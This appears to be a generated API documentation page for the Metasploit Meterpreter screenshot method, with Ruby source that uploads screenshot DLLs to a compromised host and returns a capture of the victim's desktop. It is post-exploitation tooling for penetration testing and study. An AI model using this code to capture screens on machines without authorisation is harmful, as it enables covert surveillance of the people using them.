Method: Rex::Post::Meterpreter::Extensions::Stdapi::UI#screenshot

Defined in:
lib/rex/post/meterpreter/extensions/stdapi/ui.rb

#screenshot(quality = 50) ⇒ Object

Grab a screenshot of the interactive desktop



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 154

def screenshot( quality=50 )
  request = Packet.create_request( 'stdapi_ui_desktop_screenshot' )
  request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
  # include the x64 screenshot dll if the host OS is x64
  if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
    screenshot_path = MeterpreterBinaries.path('screenshot','x64.dll')
    screenshot_path = ::File.expand_path( screenshot_path )
    screenshot_dll  = ''
    ::File.open( screenshot_path, 'rb' ) do |f|
      screenshot_dll += f.read( f.stat.size )
    end
    request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
    request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
  end
  # but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
  screenshot_path = MeterpreterBinaries.path('screenshot','x86.dll')
  screenshot_path = ::File.expand_path( screenshot_path )
  screenshot_dll  = ''
  ::File.open( screenshot_path, 'rb' ) do |f|
    screenshot_dll += f.read( f.stat.size )
  end
  request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
  request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH, screenshot_dll.length )
  # send the request and return the jpeg image if successfull.
  response = client.send_request( request )
  if( response.result == 0 )
    return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
  end
  return nil
end